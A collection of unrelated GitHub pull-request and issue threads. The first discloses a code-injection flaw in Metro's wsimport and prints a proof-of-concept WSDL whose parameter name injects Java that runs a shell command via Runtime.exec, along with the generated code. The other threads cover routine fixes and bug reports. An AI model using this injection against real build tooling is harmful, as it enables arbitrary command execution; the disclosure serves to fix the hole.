I took the leap, based on the current validation, that a custom name needs to be a valid Java variable (no spaces, no "/*" to start a comment, etc.), so I added in validation for that which has the codegen fail at the wsimport stage. An alternative suggestion for a fix was to go one level deeper and validate/sanitise during the actual codegen, but I opted to do it here for simplicity.
Payara is still using Metro 2.3.2, but I glanced through the code and it seems like the vulnerability is still present here (master branch doesn't appear to be buildable atm so I can't test - unpublished jaxb bom)
Example malicious WSDL:
<?xml version='1.0' encoding='UTF-8'?>
<definitions targetNamespace="http://schemas.xmlsoap.org/ws/2004/10/wsat" xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:jaxws="http://java.sun.com/xml/ns/jaxws" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tns="http://schemas.xmlsoap.org/ws/2004/10/wsat" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
	<jaxws:bindings>
		<jaxws:package name="example"/>
	</jaxws:bindings>
	<types>
		<xs:schema targetNamespace="http://schemas.xmlsoap.org/ws/2004/10/wsat" xmlns:xs="http://www.w3.org/2001/XMLSchema">
			<xs:element name="testMeth1Request">
				<xs:complexType>
					<xs:sequence>
						<xs:element minOccurs="0" name="arg0" type="xs:string"/>
					</xs:sequence>
				</xs:complexType>
			</xs:element>
			<xs:element name="testMeth1Response">
				<xs:complexType>
					<xs:sequence>
						<xs:element minOccurs="0" name="return" type="xs:string"/>
					</xs:sequence>
				</xs:complexType>
			</xs:element>
		</xs:schema>
	</types>
	<message name="testMeth1Request">
		<part element="tns:testMeth1Request" name="parameters"/>
	</message>
	<message name="testMeth1Response">
		<part element="tns:testMeth1Response" name="parameters"/>
	</message>
	<portType name="TestService1">
		<operation name="testMeth1">
			<input message="tns:testMeth1Request"/>
			<output message="tns:testMeth1Response"/>
		</operation>
	</portType>
	<binding name="TestService1PortBinding" type="tns:TestService1">
		<soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
		<operation name="testMeth1">
			<jaxws:bindings>
				<jaxws:parameter childElementName="testMeth1Request" part="wsdl:definitions/wsdl:message[@name='testMeth1Request']/wsdl:part[@name='parameters']"
					 name="payload/*/@WebMethod@javax.xml.ws.RequestWrapper(className="example.TestService1$Foo")@SOAPBinding(parameterStyle=SOAPBinding.ParameterStyle.WRAPPED)public String testMeth1(@WebParam String foo);class Foo extends org.xmlsoap.schemas.ws._2004._10.wsat.TestMeth1Request{{try{Runtime.getRuntime().exec(new String[]{"sh","-c","date +%s >> /opt/payara/appserver/glassfish/domains/production/docroot/output.js"});}catch(Exception e){}}}}interface Bar{/*/" />
			</jaxws:bindings>
			<soap:operation soapAction=""/>
			<input>
				<soap:body use="literal"/>
			</input>
			<output>
				<soap:body use="literal"/>
			</output>
		</operation>
	</binding>
	<service name="WSATCoordinator">
		<port binding="tns:TestService1PortBinding" name="Participant">
			<soap:address location="http://<IP_ADDRESS>/foo/bar"/>
		</port>
	</service>
</definitions>

Which generates something like this (method injected via replacing the param in javadoc):
public interface TestService1 {
    /**
     * @param payload/
     */
    @WebMethod
    @javax.xml.ws.RequestWrapper(className = "example.TestService1$Foo")
    @SOAPBinding(parameterStyle = SOAPBinding.ParameterStyle.WRAPPED)
    public String testMeth1(@WebParam String foo);
    class Foo extends org.xmlsoap.schemas.ws._2004._10.wsat.TestMeth1Request {
        {
            try {
                Runtime.getRuntime().exec(new String[]{"sh", "-c", "date +%s >> /opt/payara/appserver/glassfish/domains/production/docroot/output.js"});
            } catch (Exception e) {
            }
        }}
}
interface Bar {/*/
 * @return
 *     returns org.xmlsoap.schemas.ws._2004._10.wsat.TestMeth1Response
 */
    @WebMethod
    @WebResult(name = "testMeth1Response", targetNamespace = "http://schemas.xmlsoap.org/ws/2004/10/wsat", partName = "parameters")
    public TestMeth1Response testMeth1(
            @WebParam(name = "testMeth1Request", targetNamespace = "http://schemas.xmlsoap.org/ws/2004/10/wsat", partName = "parameters")
                    TestMeth1Request payload/*/@WebMethod@javax.xml.ws.RequestWrapper(className="example.TestService1$Foo")@SOAPBinding(parameterStyle=SOAPBinding.ParameterStyle.WRAPPED)public String testMeth1(@WebParam String foo);class Foo extends org.xmlsoap.schemas.ws._2004._10.wsat.TestMeth1Request{{try{Runtime.getRuntime().exec(new String[]{"sh","-c","date +%s >> /opt/payara/appserver/glassfish/domains/production/docroot/output.js"});}catch(Exception e){}}}}interface Bar{/*/);
}

master branch doesn't appear to be buildable atm so I can't test - unpublished jaxb bom

build with -Pstaging
Note there is EE8 branch for 2.x versions...

can I ask you to backport this to EE8 branch? thanks!

...so this broke the build due to copyright headers not being updated (I'll fix it)


Implement Twitter oauth

According to Stackoverflow this is the only possible way to do Twitter oauth with a Telegram bot:


fix: remove use of deprecated vim.tbl_add_reverse_lookup

Not sure if the deepcopy is needed, in some languages iterating while mutating can give weird results.

@Kazy vim.tbl_add_reverse_lookup looks like this (with error checking removed):
function vim.tbl_add_reverse_lookup(o)
  local keys = vim.tbl_keys(o)
  for _, k in ipairs(keys) do
    o[o[k]] = k
  end
  return o
end

So vim.tbl_keys would be the function to use.

@AThePeanut4 thank you, I've updated it to match that !


guard against evaluation of active bindings

when inspecting environments
when composing data view of environments

fixes #1030
What problem did you solve?
Fixed evaluation of active bindings when collecting data for the data view and the workspace viewer.
It may be that the guard is only desired when looking in the global environment for the workspace view?
(If you do not have screenshot) How can I check this pull request?
Check the test code from #1030 and confirm "get" is no longer printed, except when the active binding is accessed:
> f <- local( {
+     x <- 1
+     function(v) {
+        if (missing(v))
+            cat("get\n")
+        else {
+            cat("set\n")
+            x <<- v
+        }
+        x
+     }
+ })
> makeActiveBinding("fred", f, .GlobalEnv)
> bindingIsActive("fred", .GlobalEnv)
[1] TRUE
> fred
get
[1] 1

Just curious, does bindingIsActive evaluate a promise in the first place?

HA. I'll have to check. That would be fun.

fun <- function(x) {
  bindingIsActive("x", environment())
}

fun(stop("early evaluation!"))

Looks like bindingIsActive is safe.


⚠ Fetchers has degraded performance

In 301ca61, Fetchers ($STATUS_URL) experienced degraded performance:

HTTP code: 200
Response time: 252 ms

Resolved: Fetchers performance has improved in 48e885e.


[SWaP & CP Patch] MST2_EU_SK_PQ_P0353T

I could provide original and patched samples for SWaP and HMI for an 0353 PQ (MST2_EU_SK_PQ_P0353T) - if ok, could you create a live patch for the toolbox patch script?
Thanks in advance!

HMI live patching isn't supported at all currently.
But if you provide the SWAP file we could add compatibility for that.
It would also be great if you provide j5 dump. You can dump this within the dump menu if you scroll to the bottom. In the developers section there is a button called "J5 root". Please send us those dump and the SWAP file :)

Attached :
j5_root_MST2_EU_SK_PQ_P0353T.zip
SWaP_MST2_EU_SK_PQ_P0353T.zip
)

Added to https://github.com/olli991/mib-std2-pq-zr-toolbox/archive/refs/heads/master.zip


Misc. fixes

Are contributions like this welcome?
This PR contains numerous fixes to problems identified by staticcheck, plus a few other style, correctness, and best-practice items.
Several unused functions, variables, and struct fields are removed. In some places, imports are rearranged according to goimports with -local github.com/bluesky-social/indigo. Some unnecessary import aliases are removed.
Where it's not self-explanatory, I've annotated the different types of change inline to describe what's going on.

Thanks! I think what will probably happen here is that i'll cherry-pick a subset of these when we get a chance. Keeping small/discrete commits is helpful. We probably won't pull in new dependencies (eg, your errors package). I should really get staticcheck wired up to our regular linting.

Makes sense, thanks @bnewbold. I'm interested and able to help - please let me know whether and how you'd like me to. (E.g., I could split this PR into multiple smaller ones - by directory, say, or by type-of-change.)


Add in rancher minimum and maximum versions to use with helm charts/catalog service

Currently, for the applications, which are helm charts, there is way to specify minimum or maximum Rancher version. Without these fields in one of the helm chart files, there is no way to prevent newer applications from showing up in older versions of Rancher, which could be a problem if the chart leverages a feature that is only available in a newer release of Rancher.

➤ Denise Schannon commented:
We need to consider what branches are packaged in Rancher after this change is implemented so that older versions of Rancher are not using the same branch. The reason being that if you assume that the functionality exists in older versions, then you will end up pushing out template versions that are not compatible in older versions of Rancher that cannot prevent these applications from showing up.

swithc this issue to release/v2.3 milestone and open a backport issue

Does this issue need UI support? If so, create a ticket please.

Verified with custom images from rancher:master-head
Precondition:
rancher version: rancher:v2.3.2(custom image for testing) - r1
rancher version: rancher:v2.3.3(custom image for testing) - r2
rancher version: rancher:v2.3.4(custom image for testing) - r3
chart - fluentd-aggregator
chart version: latest - rancher_min_version: 2.3.2 and rancher_max_version: 2.4.0 - v3
chart version: v0.1.0 - rancher_max_version: 2.3.2 - v1
chart version: v0.2.1 - rancher_min_version: 2.3.3 - v2
The basic test scenario:
Verified when you deploy the custom app in the project
In rancher:r1 - v1 is available and v2 and v3 are NOT available
In rancher:r2 - v2 and v3 are available and v1 is NOT available
In rancher:r3 - v2 and v3 are available and v1 is NOT available


Add Docker-compose file for windows WSL compatibility

This file makes it easier for windows users to use docker. (Closes #829)
Previous to this commit, those how use Windows have to install Ubuntu inside windows (via WSL) and run our commands. Now they can run it by just typing docker-compose up.

The main problem was that ./bin/dockerhub_run.sh command was written with Bash in mind and you had to change it a little bit to make it compatible with windows Powershell. We shouldn't have two scripts. This is why adding a docker-compose.yml file is necessary.

This commit changes the command users should type if they want to use docker. I've understood that using docker-compose is pretty much standard and it works with all operating systems (specially Windows).

Note: we still keep previous commands for compatibility.

With this commit, we can use docker pre-built image using:
docker-compose up

we can build a custom image with:
docker-compose -f docker-local.yml build

and we can use locally built image using:
docker-compose -f docker-local.yml up

I added two parameters --verbose and --livereload. I have to see if those parameters add any problems here.

I have tested this commit in Windows, and it is working well. Any comments? @alshedivat @rohandebsarkar


🐛  ERROR  Camera.onError(session/recoverable-error): An unknown error occurred while creating the Camera Session, but the Camera can recover from it. [session/recoverable-error: An unknown error occurred while creating the Camera Session, but the Camera can recover from it.]

What's happening?
Hello,
Everything is functioning properly when I use useFrameProcessor but when I apply useSkiaFrameProcessor to the camera. I get an error that says:
ERROR Camera.onError(session/recoverable-error): An unknown error occurred while creating the Camera Session, but the Camera can recover from it. [session/recoverable-error: An unknown error occurred while creating the Camera Session, but the Camera can recover from it.]

This is the relevant part of my package.json:
"react": "18.2.0",
"react-native": "0.72.4",
"@shopify/react-native-skia": "^1.2.3",
"react-native-reanimated": "^3.11.0",
"react-native-vision-camera": "^4.0.3",
"react-native-worklets-core": "^1.3.0",
When I comment out the 'frameprocessor' attribute from the camera component or use 'useFramProcessor' hook, everything works  just fine
I appreciate any help, Thanks
Reproduceable Code
`const frameProcessor = useSkiaFrameProcessor(
		frame => {
		"worklet"
		runAtTargetFps(5, () => {
			"worklet"
			if (templateAligned) {
				try {
					const data = resize(frame, {
						crop: {
							x: 0,
							y: 0,
							width: frame.width,
							height: frame.height,
						},
						scale: {
							width: 256,
							height: 256,
						},
						pixelFormat: 'rgb',
						dataType: 'float32',
						rotation: rotation
					});

					// Run the model inference
					const result = plugin.model?.runSync([data]);
					const locations = result ? result[0] : []; // detections
					const scores = result ? result[1] : []; // confidence scores

					const numDetections = locations.length / 4;
					const numClasses = 3;

					let bowlerDetected = false;

					outerLoop:for (let i = 0; i < numDetections; i++) {
						const offsetDetections = i * 4;
						const offsetScores = i * numClasses;

						const detectionSlice = locations.slice(offsetDetections, offsetDetections + 4);
						const scoreSlice = scores.slice(offsetScores, offsetScores + numClasses);

						for (let j = 0; j < numClasses; j++) {
							const confidence = scoreSlice[j];
							if (confidence > MIN_CONFIDENCE) {
								console.log('Confidence: ', confidence);
								const bbox = {
									x_min: Number(detectionSlice[1]),
									y_min: Number(detectionSlice[0]),
									x_max: Number(detectionSlice[3]),
									y_max: Number(detectionSlice[2]),
								};

								console.log('Bbox', bbox);

								const rect = Skia.XYWHRect(bbox.x_min, bbox.y_min, bbox.x_max, bbox.y_max);
								frame.drawRect(rect, paint);

								const classLabel = CLASS_LABELS[j];
								if (classLabel === "bowlers") {
									console.log('detected a bowler!');
									bowlerDetected = true;
									break outerLoop;
								}
							}
						}
					}

					if (bowlerDetected && !recording) {
						startVideoRecordingJS();
					}
				} catch (error: any) {
					console.log("An error occurred during frame processing: ", error.message);
					setErrorJS("Error processing the frame");
				}
			}
		});
	}, [templateAligned]);
`
`<Camera
  style={StyleSheet.absoluteFill}
  ref={camera}
  fps={format?.maxFps}
  video={true}
  audio={false}
  device={device}
  enableFpsGraph
  isActive={true}
  frameProcessor={recording ? undefined : frameProcessor}
  format={format}
  pixelFormat={pixelFormat}
  />`

Relevant log output
ERROR  Camera.onError(session/recoverable-error): An unknown error occurred while creating the Camera Session, but the Camera can recover from it. [session/recoverable-error: An unknown error occurred while creating the Camera Session, but the Camera can recover from it.]

Camera Device
{
  "hardwareLevel": "limited",
  "minExposure": -16,
  "neutralZoom": 1,
  "minZoom": 1,
  "supportsFocus": true,
  "formats": [],
  "supportsLowLightBoost": true,
  "hasTorch": true,
  "supportsRawCapture": false,
  "minFocusDistance": 0,
  "sensorOrientation": "landscape-left",
  "maxZoom": 2,
  "physicalDevices": [
    "wide-angle-camera"
  ],
  "isMultiCam": false,
  "position": "back",
  "id": "0",
  "hasFlash": true,
  "maxExposure": 16,
  "name": "0 (BACK) androidx.camera.camera2"
}

Device
Android
VisionCamera Version
4.0.3
Can you reproduce this issue in the VisionCamera Example app?
I didn't try (⚠ your issue might get ignored & closed if you don't try this)
Additional information

[ ] I am using Expo
[X] I have enabled Frame Processors (react-native-worklets-core)
[X] I have read the Troubleshooting Guide
[X] I agree to follow this project's Code of Conduct
[X] I searched for similar issues in this repository and found none.

I was able to pinpoint the cause of the error. I don't know about other devices but the 'useSkiaFrameProcessor', for some reason doesn't work with 'back' cameras. I was able to reproduce that with the example app on an android platform. Unless this was apparent and am missing something.

Hey! Can you try with 4.3.2 again? I fixed a bunch of issues and upgraded CameraX to the latest version - all is running perfectly stable on my phones now :)

I think this is fixed in 4.3.2, I'll close this issue and if you still experience this issue then we can re-open.
Either way, I'd need native adb logcat logs to investigate this.

Hi @mrousavy I am experiencing the black/blank screen issue for a few android's devices back camera  using v4.5.2
https://github.com/mrousavy/react-native-vision-camera/issues/3297


Increment version for servicebus releases

Increment package version after release of azure-service-bus

Closing in favor of #12292